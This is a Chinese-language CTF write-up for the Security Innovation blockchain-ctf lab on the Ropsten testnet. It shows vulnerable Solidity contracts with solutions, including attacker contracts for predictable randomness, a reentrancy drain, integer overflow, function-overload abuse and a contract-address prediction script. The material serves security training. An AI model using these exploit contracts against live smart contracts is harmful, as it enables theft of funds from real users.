1. blockchain-ctf靶場
平臺地址:https://blockchain-ctf.securityinnovation.com/
大佬blog:https://hitcxy.com/2020/securityinnovation/
寫在前面:
慣例感謝pikachu大佬匹耕。
RW不會做秩贰,靶場還不會嗎?blockchain-ctf這個靶場確實(shí)向大佬說的更貼近生產(chǎn)污秆,有很多和做題無關(guān)的代碼皂股,增加了一點(diǎn)點(diǎn)審計工作量墅茉。但做的時候還是簡單的,如果你覺得很難呜呐,那一定是想多了就斤。
要提醒的就是這個靶場坑測試幣啊,5ether根本不夠因?yàn)橛械李}會生生吃掉你4ether蘑辑,做到那里你就知道了……
5.7.1. Hello Challenge
1.1. 簽到:Donation
1.1.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Donation is CtfFramework{
using SafeMath for uint256;
uint256 public funds;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
funds = funds.add(msg.value);
}
function() external payable ctf{
funds = funds.add(msg.value);
}
function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
msg.sender.transfer(funds);
funds = 0;
}
}
1.1.2. solve
- 考點(diǎn):感覺沒有考點(diǎn)洋机。。洋魂。
- 直接調(diào)用withdrawDonationsFromTheSuckersWhoFellForIt()就行绷旗,為什么要罵人><
1.2. private:Lock Box
1.2.1. souce
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract Lockbox1 is CtfFramework{
uint256 private pin;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
pin = now%10000;
}
function unlock(uint256 _pin) external ctf{
require(pin == _pin, "Incorrect PIN");
msg.sender.transfer(address(this).balance);
}
}
1.2.2. solve
- 考點(diǎn):
- 讀取私有變量
- constructor只在構(gòu)造的時候執(zhí)行一次。
- 有點(diǎn)奇怪讀0沒有value副砍,讀1才是pin值……不應(yīng)該啊衔肢。web3.eth.getStorageAt("0xf1e80fe02b23ff27e704aa1fef006d7b34910081", 1, function(x, y) {console.warn(y)}); 提交_pin為讀到的值即可
1.3. msg.sender:Piggy Bank
This contract belongs to Charlie with the address 0xbc4bfb890caa811839be474c7bf76fcda1530649
Charlie is the only person capable of withdrawing from this contract
Your wallet is 0xdbc1ce93e1237baf2585ca87909b30a87a2e77b6, so you are not Charlie and you can not withdraw
1.3.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract PiggyBank is CtfFramework{
using SafeMath for uint256;
uint256 public piggyBalance;
string public name;
address public owner;
constructor(address _ctfLauncher, address _player, string _name) public payable
CtfFramework(_ctfLauncher, _player)
{
name=_name;
owner=msg.sender;
piggyBalance=piggyBalance.add(msg.value);
}
function() external payable ctf{
piggyBalance=piggyBalance.add(msg.value);
}
modifier onlyOwner(){
require(msg.sender == owner, "Unauthorized: Not Owner");
_;
}
function withdraw(uint256 amount) internal{
piggyBalance = piggyBalance.sub(amount);
msg.sender.transfer(amount);
}
function collectFunds(uint256 amount) public onlyOwner ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdraw(amount);
}
}
contract CharliesPiggyBank is PiggyBank{
uint256 public withdrawlCount;
constructor(address _ctfLauncher, address _player) public payable
PiggyBank(_ctfLauncher, _player, "Charlie")
{
withdrawlCount = 0;
}
function collectFunds(uint256 amount) public ctf{
require(amount<=piggyBalance, "Insufficient Funds in Contract");
withdrawlCount = withdrawlCount.add(1);
withdraw(amount);
}
}
1.3.2. solve
- 看代碼,用CharliesPiggyBank創(chuàng)建了一個PiggyBank豁翎。
- PiggyBank里的withdraw標(biāo)了internal角骤,只能在內(nèi)部調(diào)用。collectFunds又有onlyOwner心剥,基本安全邦尊。
- 但CharliesPiggyBank在繼承時為了制造漏洞強(qiáng)行重寫了collectFunds,去掉了msg.sender的限制优烧。
- 查看piggyBalance蝉揍,輸入0x214e8348c4f0000調(diào)用collectFunds,轉(zhuǎn)賬成功
1.4. 整數(shù)溢出:SI Token Sale
We are releasing 1000 SI Tokens (SIT) at the low low cost of 1 SIT == 1 ETH (minus a small developer fee).
We have yet to figure out what these tokens will be used for, but we are leaning towards something IOT / Machine Learning / Big Data / Cloud.
Secure your SIT today before they're gone!
1.4.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";
contract SIToken is StandardToken {
using SafeMath for uint256;
string public name = "SIToken";
string public symbol = "SIT";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);
constructor() public{
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
}
}
contract SITokenSale is SIToken, CtfFramework {
uint256 public feeAmount;
uint256 public etherCollection;
address public developer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
feeAmount = 10 szabo;
developer = msg.sender;
purchaseTokens(msg.value);
}
function purchaseTokens(uint256 _value) internal{
require(_value > 0, "Cannot Purchase Zero Tokens");
require(_value < balances[this], "Not Enough Tokens Available");
balances[msg.sender] += _value - feeAmount;
balances[this] -= _value;
balances[developer] += feeAmount;
etherCollection += msg.value;
}
function () payable external ctf{
purchaseTokens(msg.value);
}
// Allow users to refund their tokens for half price ;-)
function refundTokens(uint256 _value) external ctf{
require(_value>0, "Cannot Refund Zero Tokens");
transfer(this, _value);
etherCollection -= _value/2;
msg.sender.transfer(_value/2);
}
function withdrawEther() external ctf{
require(msg.sender == developer, "Unauthorized: Not Developer");
require(balances[this] == 0, "Only Allowed Once Sale is Complete");
msg.sender.transfer(etherCollection);
}
}
1.4.2. solve
- 題目合約提供了捐款和退款(1/2)功能匙隔,只要balance足夠疑苫,refundTokens是可以完成轉(zhuǎn)賬的熏版。
- 溢出漏洞 balances[msg.sender] += _value – feeAmount,當(dāng)value足夠泻床簟(比如1wei)時撼短,balances[msg.sender]溢出為大整數(shù)。
- 查看etherCollection挺勿,傳入2倍值調(diào)用refundTokens曲横。(比如600000000000000002)。
- 但有個問題,沒有找到balances[]的聲明不瓶,怎么能確定沒有用safemath的uint呢…… (沒有找到就是沒有用)
1.5. 函數(shù)重寫(×)函數(shù)重載(√):Secure Bank
Good Afternoon!
Welcome to your Super Secure Digital Bank Account.
You may have heard elsewhere that with blockchain, banks are a thing of the past, what with fully owning your private keys and all...
But that is nonesense! You still need a bank! Who else will send you 30 new credit card offers in the mail each day??
At Super Secure Bank, we bring you the best of both worlds! We let you control the keys to your funds (stored in our smart contract) while still requiring you to register and receive our spam!
1.5.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract SimpleBank is CtfFramework{
mapping(address => uint256) public balances;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
balances[msg.sender] = msg.value;
}
function deposit(address _user) public payable ctf{
balances[_user] += msg.value;
}
function withdraw(address _user, uint256 _value) public ctf{
require(_value<=balances[_user], "Insufficient Balance");
balances[_user] -= _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
deposit(msg.sender);
}
}
contract MembersBank is SimpleBank{
mapping(address => string) public members;
constructor(address _ctfLauncher, address _player) public payable
SimpleBank(_ctfLauncher, _player)
{
}
function register(address _user, string _username) public ctf{
members[_user] = _username;
}
modifier isMember(address _user){
bytes memory username = bytes(members[_user]);
require(username.length != 0, "Member Must First Register");
_;
}
function deposit(address _user) public payable isMember(_user) ctf{
super.deposit(_user);
}
function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
super.withdraw(_user, _value);
}
}
contract SecureBank is MembersBank{
constructor(address _ctfLauncher, address _player) public payable
MembersBank(_ctfLauncher, _player)
{
}
function deposit(address _user) public payable ctf{
require(msg.sender == _user, "Unauthorized User");
require(msg.value < 100 ether, "Exceeding Account Limits");
require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
super.deposit(_user);
}
function withdraw(address _user, uint8 _value) public ctf{
require(msg.sender == _user, "Unauthorized User");
require(_value < 100, "Exceeding Account Limits");
require(_value >= 1, "Does Not Satisfy Minimum Requirement");
super.withdraw(_user, _value * 1 ether);
}
function register(address _user, string _username) public ctf{
require(bytes(_username).length!=0, "Username Not Enough Characters");
require(bytes(_username).length<=20, "Username Too Many Characters");
super.register(_user, _username);
}
}
1.5.2. solve
- 題目是通過SecureBank來給用戶創(chuàng)建自己的memberbank禾嫉,轉(zhuǎn)賬方面沒有安全問題,
- 本題的考點(diǎn)是函數(shù)重寫和重載的概念蚊丐。函數(shù)重載是指函數(shù)命名相同熙参,但需要函數(shù)傳入?yún)?shù)的數(shù)量或類型不同。 看到securebank
function withdraw(address _user, uint8 _value)
里這個突兀的uint8麦备,導(dǎo)致仍然存在function withdraw(address _user, uint256 _value)
方法孽椰,畢竟簽名不同=。=凛篙。而后面這個就沒有msg.sender == _user的要求了黍匾。 調(diào)用后者就能執(zhí)行msg.sender.transfer(_value)
從_user 偷錢……。 - 剩下唯一的問題是找到有錢的_user呛梆。ropsten查了下合約的創(chuàng)建者是0x2272071889eDCeACABce7dfec0b1E017c6Cad120锐涯,檢查balance確認(rèn)思路正確。
- 先注冊填物,再提取纹腌,搞掂。做到現(xiàn)在沒有一道題需要自己部署攻擊合約的融痛,有點(diǎn)無聊-壶笼。-
直接部署源代碼也能看出來有兩個withdraw,存在重載的問題雁刷。出題人假裝重寫了覆劈,但其實(shí)還在。
1.6. 偽隨機(jī): Lottery
彩票沛励,需要猜中seed
Today is your lucky day!
Pick your numbers now and win the grand prize!
The current pot is already up to 0.5 ETH!
Only costs 0.001 ETH to play!
1.6.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract Lottery is CtfFramework{
using SafeMath for uint256;
uint256 public totalPot;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
totalPot = totalPot.add(msg.value);
}
function() external payable ctf{
totalPot = totalPot.add(msg.value);
}
function play(uint256 _seed) external payable ctf{
require(msg.value >= 1 finney, "Insufficient Transaction Value");
totalPot = totalPot.add(msg.value);
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
bytes32 guess = keccak256(abi.encodePacked(_seed));
if(guess==target){
//winner
uint256 payout = totalPot;
totalPot = 0;
msg.sender.transfer(payout);
}
}
}
1.6.2. solve
- 算出target直接帶入就行责语,畢竟block.number在同一次交易中是相同的。
- 踩了個坑目派,自己忘了加fallback函數(shù)……
contract Attacker{
function attack() public payable {
Lottery _target = Lottery(0x7fe96f8b3447c17448b2cd59dd6b22d804203847);
bytes32 entropy = blockhash(block.number);
bytes32 entropy2 = keccak256(abi.encodePacked(this));
uint seed = uint(entropy^entropy2);
_target.play.value(msg.value)(seed);
}
function () payable{}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}//為了把錢要回來真是煞費(fèi)苦心
}
1.7. 循環(huán):Heads or Tails
Flip a Coin!
Choose heads or tails.
It costs 0.1 ETH to play.
If you win, you get your initial bet back plus 0.05 ETH!
If you pick wrong, we keep your fee.
Sounds like good odds to me! Wanna play?
1.7.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract HeadsOrTails is CtfFramework{
using SafeMath for uint256;
uint256 public gameFunds;
uint256 public cost;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
gameFunds = gameFunds.add(msg.value);
cost = gameFunds.div(10);
}
function play(bool _heads) external payable ctf{
require(msg.value == cost, "Incorrect Transaction Value");
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
//win坤候,返還1.5倍,即多得0.05
gameFunds = gameFunds.sub(msg.value.div(2));
msg.sender.transfer(msg.value.mul(3).div(2));
}
else {
//loser
gameFunds = gameFunds.add(msg.value);
}
}
}
1.7.2. solve
- 和Ethernaut靶場的coinflip一樣嘛只不過循環(huán)終于派上用場了企蹭。1/0.05=20白筹,調(diào)用attack()的時候記得傳入value 2ether
- 巨資3eth這要是忘了寫個selfdestruct該多心疼
contract Attacker{
function attack() public payable{
HeadsOrTails target = HeadsOrTails(0xa0556a5252439ddd0b10f6354f0798077b2e00c7);
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
for(uint i;i<20;i++){
target.play.value(0.1 ether)(coinFlip==1);
}
}
function () payable{}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}
}
1.8. 代碼邏輯:Record Label
均分eth給所有stake holders
You've made it, kid!
You're officially a rockstar! Now that your killer remix has gone viral, you'll be swimming in dough in no time!
Now for some of the fine print
As your manager, it is my responsibility that all the royalty holders get paid their fare share for each of your sales.
I've set up this smart contract to store all your sales revenue. When you want to withdraw, just enter how much ETH you need and the contract will automatically payout an appropriate percentage to all the stake holders.
Isn't the future nuts???
1.8.1. source
pragma solidity 0.4.24;
//import "../CtfFramework.sol";
//import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract Royalties{
using SafeMath for uint256;
address private collectionsContract;
address private artist;
address[] private receiver;
mapping(address => uint256) private receiverToPercentOfProfit;
uint256 private percentRemaining;
uint256 public amountPaid;
constructor(address _manager, address _artist) public
{
collectionsContract = msg.sender;
artist=_artist;
receiver.push(_manager);
receiverToPercentOfProfit[_manager] = 80;
percentRemaining = 100 - receiverToPercentOfProfit[_manager];
}
modifier isCollectionsContract() {
require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
_;
}
modifier isArtist(){
require(msg.sender == artist, "Unauthorized: Not Artist");
_;
}
function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
receiver.push(_receiver);
receiverToPercentOfProfit[_receiver] = _percent;
percentRemaining = percentRemaining.sub(_percent);
}
function payoutRoyalties() public payable isCollectionsContract{ //trace1.2
for (uint256 i = 0; i< receiver.length; i++){
address current = receiver[i];
uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100);
amountPaid = amountPaid.add(payout);//trace2.2
current.transfer(payout); //trace1.3
}
msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()")));//trace1.4
}
function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
uint256 ret = amountPaid; //trace2.1
amountPaid = 0;
return ret;
}
function () public payable isCollectionsContract{ //trace1.1
payoutRoyalties();//trace1.2
}
}
contract Manager{
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function withdraw(uint256 _balance) public {
owner.transfer(_balance);
}
function () public payable{
// empty
}
}
contract RecordLabel is CtfFramework{
using SafeMath for uint256;
uint256 public funds;
address public royalties;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
royalties = new Royalties(new Manager(_ctfLauncher), _player);
funds = funds.add(msg.value);
}
function() external payable ctf{
funds = funds.add(msg.value);
}
function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
funds = funds.sub(_withdrawAmount);
royalties.call.value(_withdrawAmount)();//trace1.0,分析順序見trace1系列
uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();//trace2.0
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid);
msg.sender.transfer(artistPayout);
}
function collectRemainingFunds() external payable{
require(msg.sender == royalties, "Unauthorized: Not Royalties Contract");
}
}
1.8.2. solve
- 還是先實(shí)例化源代碼看看:0x0448da0179aa06c14b95b7c81dfb3cc3d8f34c2b
- 要提取出目標(biāo)合約的余額智末,可能有這幾種方向
- 使funds為大整數(shù),這樣隨便抽都可以提取完徒河。但funds相關(guān)用的safemath系馆,基本不可能。
- 使royaltiesPaid為0顽照,
- 構(gòu)造的時候留了啥后門由蘑。注意到部署合約時有
royalties = new Royalties(new Manager(_ctfLauncher), _player);
- Manager的地址是:0xCE9FDBB850E37c0Ae65f47c67f861D914f95d7B7,看到owner是0xdCB37036c66Bc6a5A19ccf0DBc0253e584499954代兵,轉(zhuǎn)賬都是給owner尼酿,沒戲。
- royalities的地址是:0x4E0E63d0c313588009330DDB5b423D6bb6Ebe479植影,看到amountPaid是0裳擎。這……我們來順一下邏輯。amountPaid只在payoutRoyalties函數(shù)中會增加思币,在withdrawFundsAndPayRoyalties執(zhí)行royalties.call.value(_withdrawAmount)();給royalties轉(zhuǎn)賬時會觸發(fā)句惯,觸發(fā)后給receiver[]轉(zhuǎn)賬,并將msg.value-amountPaid轉(zhuǎn)給msg.sender(見源代碼中的trace1和trace2)支救。到這里本來是正常的。但withdrawFundsAndPayRoyalties里最后還有一句執(zhí)行msg.sender.transfer(amountPaid);到底圖啥拷淘,這不就又加回來了嗎各墨?
- 直接令_withdrawAmount=1 eth,執(zhí)行withdrawFundsAndPayRoyalties就拿到了所有錢启涯。那么問題來了贬堵,receiver里沒人嗎?對()结洼,因?yàn)槿讨辉跇?gòu)造的時候有一句receiver.push(_manager);_manager就是new manager的地址黎做。
- 題外:
- 上了自動審計工具:
docker run -v $(pwd):/tmp mythril/myth a /tmp/target.sol --solv 0.4.24 --exec ution-timeout 60
,審計結(jié)果是 Unprotected Ether Withdrawal,感覺不好使松忍。蒸殿。。
- 上了自動審計工具:
1.9. 重入:trustfund
only allowing you to withdraw 0.1 ETH a year for the next 10 years.
(我已經(jīng)想起ERC20了鸣峭。宏所。。好吧不是)
1.9.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract TrustFund is CtfFramework{
using SafeMath for uint256;
uint256 public allowancePerYear;
uint256 public startDate;
uint256 public numberOfWithdrawls;
bool public withdrewThisYear;
address public custodian;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
custodian = msg.sender;
allowancePerYear = msg.value.div(10);
startDate = now;
}
function checkIfYearHasPassed() internal{
if (now>=startDate + numberOfWithdrawls * 365 days){
withdrewThisYear = false;
}
}
function withdraw() external ctf{
require(allowancePerYear > 0, "No Allowances Allowed");
checkIfYearHasPassed();
require(!withdrewThisYear, "Already Withdrew This Year");
if (msg.sender.call.value(allowancePerYear)()){
withdrewThisYear = true;
numberOfWithdrawls = numberOfWithdrawls.add(1);
}
}
function returnFunds() external payable ctf{
require(msg.value == allowancePerYear, "Incorrect Transaction Value");
require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
withdrewThisYear = false;
numberOfWithdrawls=numberOfWithdrawls.sub(1);
}
}
1.9.2. solve
- 先call.value了再加次數(shù)摊溶,看起來是重入,1/0.1=10
- 大佬們的wp紛紛沒有加次數(shù)限制爬骤,因?yàn)閏all.value 如果異常會轉(zhuǎn)賬失敗,僅會返回false莫换,不會終止執(zhí)行霞玄。我還是太善良了V枇濉()
contract Attacker{
TrustFund target = TrustFund(0xc335f803e10c8d76e34f007076dfc221e6ef392a);
uint flag;
function attack() public payable{
target.withdraw();
}
function () payable{
if(flag<9){
target.withdraw();
flag++;
}
}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}
}
1.10. selfdestruct:slotMachine
老虎機(jī)。坷剧。惰爬。Click today and deposit your 0.000001 ETH
1.10.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract SlotMachine is CtfFramework{
using SafeMath for uint256;
uint256 public winner;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
winner = 5 ether;
}
function() external payable ctf{
require(msg.value == 1 szabo, "Incorrect Transaction Value");
if (address(this).balance >= winner){
msg.sender.transfer(address(this).balance);
}
}
}
1.10.2. solve
- 循環(huán)也是可以的。(5-1.5)/0.000001=350w次(并不可以)
- 先自毀強(qiáng)制送錢再補(bǔ)一刀,帶入5-1.5-0.000001=3.499999自毀
- pull that lever!!!
1.11. 子合約地址:Rainy Day
The community decided to get together and organize a rainy day fund.
We've selected some very trustworthy people to manage the funds. Don't worry about it.
I assure you, the next time it rains, we'll have the funds for it!
1.11.1. source
pragma solidity 0.4.24;
import "./CtfFramework.sol";
contract DebugAuthorizer{
bool public debugMode;
constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}
contract RainyDayFund is CtfFramework{
address public developer;
mapping(address=>bool) public fundManagerEnabled;
DebugAuthorizer public debugAuthorizer;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
//debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
debugAuthorizer = new DebugAuthorizer();
developer = msg.sender;
fundManagerEnabled[msg.sender] = true;
}
modifier isManager() {
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
_;
}
function () external payable ctf{
// Anyone can add to the fund
}
function addFundManager(address _newManager) external isManager ctf{
fundManagerEnabled[_newManager] = true;
}
function removeFundManager(address _previousManager) external isManager ctf{
fundManagerEnabled[_previousManager] = false;
}
function withdraw() external isManager ctf{
msg.sender.transfer(address(this).balance);
}
}
1.11.2. solve
- 需要isManager才能提取听隐,唯一的可能是debugAuthorizer.debugMode()
- 一開始想本地重寫debugMode()补鼻,未遂,不應(yīng)該啊我比較遠(yuǎn)啊雅任。
- 因?yàn)閐ebug只在constructor階段可以用风范,看一下合約間的關(guān)系
- developer:0xeD0D5160c642492b3B482e006F67679F5b6223A2
- rainfund:0x9260f766C0B6b568Ca1689fd658790e956D4B420(是上面的nonce337)
- debugAuthorizer:0x107B773c0eFd9668ba0c915B0405949476B1C933(是上面的nonce1)
- 思路是計算出338的nonce1地址,提前轉(zhuǎn)賬1.337 ether沪么。但第一次部署的錢已經(jīng)拿不回來了(黑心公司還我血汗錢央勒,這道題凈損失1.337+2.5!)
- newR = 374c84ad4e641a63c810e661f028d025b6cf6425
- newD = f7af84f87e14c95324eb1ebf7e65030c28afb521
- 給newD轉(zhuǎn)賬扮惦,重新部署題目遣耍,這個時候就可以調(diào)用newR的withdraw了。
from ethereum import utils
def getSon(Father,nonce):
sha3_res = utils.mk_contract_address(Father,nonce)
sha3_res_de = utils.decode_addr(sha3_res)
#print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
return(sha3_res_de)
def FindNonce(Father,Son):
MaxNonce = 100000
for nonce in range(MaxNonce):
res = getSon(Father,nonce)
if int(res,16)==Son:
print('[+]the correct nonce is :%s'%(nonce))
return(int(nonce))
developer= 0xeD0D5160c642492b3B482e006F67679F5b6223A2
rainfund = 0x9260f766C0B6b568Ca1689fd658790e956D4B420
debugAuthorizer = 0x107B773c0eFd9668ba0c915B0405949476B1C933
nonce = FindNonce(developer,rainfund)
newR = getSon(developer,nonce+1)
newD = getSon(newR,1)
print(nonce,newR,newD)
1.12. Raffle
The ticket costs a random amount, somewhere between 0.1 and 0.5 ether.
When the time is right, our administrators will close the contest and finalize the winners.
1.12.1. source
pragma solidity 0.4.24;
import "../CtfFramework.sol";
contract Raffle is CtfFramework{
uint256 constant fee = 0.1 ether;
address private admin;
bytes4 private winningTicket;
uint256 private blocknum;
uint256 public ticketsBought;
bool public raffleStopped;
mapping(address=>uint256) private rewards;
mapping(address=>bool) private potentialWinner;
mapping(address=>bytes4) private ticketNumbers;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
rewards[address(this)] = msg.value;
admin = msg.sender;
}
function buyTicket() external payable ctf{
if(msg.value >= fee){
winningTicket = bytes4(0);
blocknum = block.number+1;
ticketsBought += 1;
raffleStopped = false;
rewards[msg.sender] += msg.value;
ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
potentialWinner[msg.sender] = true;
}
}
function closeRaffle() external ctf{
require(ticketsBought>0);
require(!raffleStopped);
require(blocknum != 0);
require(winningTicket == bytes4(0));
require(block.number>blocknum);
require(msg.sender==admin || rewards[msg.sender]>0);
winningTicket = bytes4(blockhash(blocknum));
potentialWinner[msg.sender] = false;
raffleStopped = true;
}
function collectReward() external payable ctf{
require(raffleStopped);
require(potentialWinner[msg.sender]);
rewards[address(this)] += msg.value;
if(winningTicket == ticketNumbers[msg.sender]){
msg.sender.transfer(rewards[msg.sender]);
msg.sender.transfer(rewards[address(this)]);
rewards[msg.sender] = 0;
rewards[address(this)] = 0;
}
}
function skimALittleOffTheTop(uint256 _value) external ctf{
require(msg.sender==admin);
require(rewards[address(this)]>_value);
rewards[address(this)] = rewards[address(this)] - _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
if(msg.value>=fee){
this.buyTicket();
}
else if(msg.value == 0){
this.closeRaffle();
}
else{
this.collectReward();
}
}
}
1.12.2. solve
- 需要觸發(fā)collectReward殉摔,并滿足
- 除了msg.sender和合約外沒有其他賬戶投錢(因?yàn)橹环祷剡@兩個地址的rewards)
- winningTicket == ticketNumbers[msg.sender]
- bytes4(blockhash(blocknum))= bytes4((msg.value - fee)/10**8);(blocknum為當(dāng)closeRaffle執(zhí)行前最后一次買彩票的blocknumber+1),漏洞為PRNG州胳,EVM 能存儲的區(qū)塊哈希為最近的 256 條,兩次調(diào)用高度超過256的話逸月,值為 0栓撞。
- raffleStopped==true
- closeRaffle()
- msg.value=0
- ticketsBought>0——買過彩票自然有
- block.number>blocknum——在buyTicket()后還需要等一等
- rewards[msg.sender]>0——買過彩票自然有
- potentialWinner[msg.sender]——調(diào)用closeRaffle()的不能是自己,那就只能是目標(biāo)合約了碗硬。
- 解法
- 先msg.value=0.1ether調(diào)用buyTicket 瓤湘,此時的block.number=9432258,256塊以上countdown預(yù)計需要33分鐘(實(shí)際更久)……倒杯卡布奇諾()
https://ropsten.etherscan.io/block/countdown/9432518
- 確認(rèn)256block is mined后恩尾,msg.value=0隨便傳個0x00觸發(fā)fallback(之前先把題目合約加到ctf_challenge_add_authorized_sender),此時可以看到raffleStopped已經(jīng)是true了弛说,不確定的話還可以web3看看winningTicket
- 調(diào)用collectReward() 收割
- 踩了個坑就是預(yù)計時間到了后其實(shí)并不一定真的挖到了那么后面,此時調(diào)用collectReward() 交易成功翰意,但是沒有過if木人。所以記得要確認(rèn)下block狀態(tài)。
- 先msg.value=0.1ether調(diào)用buyTicket 瓤湘,此時的block.number=9432258,256塊以上countdown預(yù)計需要33分鐘(實(shí)際更久)……倒杯卡布奇諾()
1.13. Scratchcard
If you think you need more than 1 ETH to solve this, you're probably going down the wrong path.
1.13.1. source
pragma solidity 0.4.2
4;
import "./CtfFramework.sol";
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract Scratchcard is CtfFramework{
event CardPurchased(address indexed player, uint256 cost, bool winner);
mapping(address=>uint256) private winCount;
uint256 private cost;
using Address for address;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
}
modifier notContract(){
require(!msg.sender.isContract(), "Contracts Not Allowed");
_;
}
function play() public payable notContract ctf{
bool won = false;
if((now%10**8)*10**10 == msg.value){
won = true;
winCount[msg.sender] += 1;
cost = msg.value;
msg.sender.transfer(cost);
}
else{
cost = 0;
winCount[msg.sender] = 0;
}
emit CardPurchased(msg.sender, msg.value, won);
}
function checkIfMegaJackpotWinner() public view returns(bool){
return(winCount[msg.sender]>=25);
}
function collectMegaJackpot(uint256 _amount) public notContract ctf{
require(checkIfMegaJackpotWinner(), "User Not Winner");
require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
winCount[msg.sender] = 0;
msg.sender.transfer(_amount);
}
function () public payable ctf{
play();
}
}
1.13.2. 冀偶?solve
- 思考過程():要play()贏25次虎囚,就可以調(diào)用collectMegaJackpot從獎金池提取amount。
- require(2 * cost - _amount > 0
- 獎金庫有3.5ether蔫磨,但是一次也就0.1xxxether,看起來要贏25*17次淘讥。然而其實(shí)可以整數(shù)溢出,所以約等于沒有限制堤如。
- 要求1:蒲列!isContract窒朋,即extcodesize(account)==0
- 通過構(gòu)造函數(shù)調(diào)用可以繞過extcodesize=0,但此時沒有fallback會無法transfer吧蝗岖,卒侥猩。——并沒有卒
- 搜了一下來源于18年的Fomo3DHuman機(jī)制繞過:https://blog.csdn.net/u011721501/article/details/82684747
- 通過delegatecall使msg.sender為賬戶地址抵赢,但delegatecall不能帶value,卒欺劳。
- 通過構(gòu)造函數(shù)調(diào)用可以繞過extcodesize=0,但此時沒有fallback會無法transfer吧蝗岖,卒侥猩。——并沒有卒
- 要求2:
(now%10**8)*10**10 == msg.value
,每次win都可以把成本拿回來- now==block.timestamp 表示當(dāng)前區(qū)塊挖掘時間
- require(2 * cost - _amount > 0
- 放棄了直接看大佬wp
- 字節(jié)碼逆向下是直接寫了個fallback铅鲤,小于等于二十五次的時候循環(huán)調(diào)用play()划提,大于25了就collect,然后return一串長代碼邢享,內(nèi)容是stop和自毀……這鹏往,看起來和我最初的想法一樣嘛。
- 最后解決:
- 就普通的寫在constructor里面然后攻擊成功了……此時代碼區(qū)不是空嗎為什么可以transfer呢()
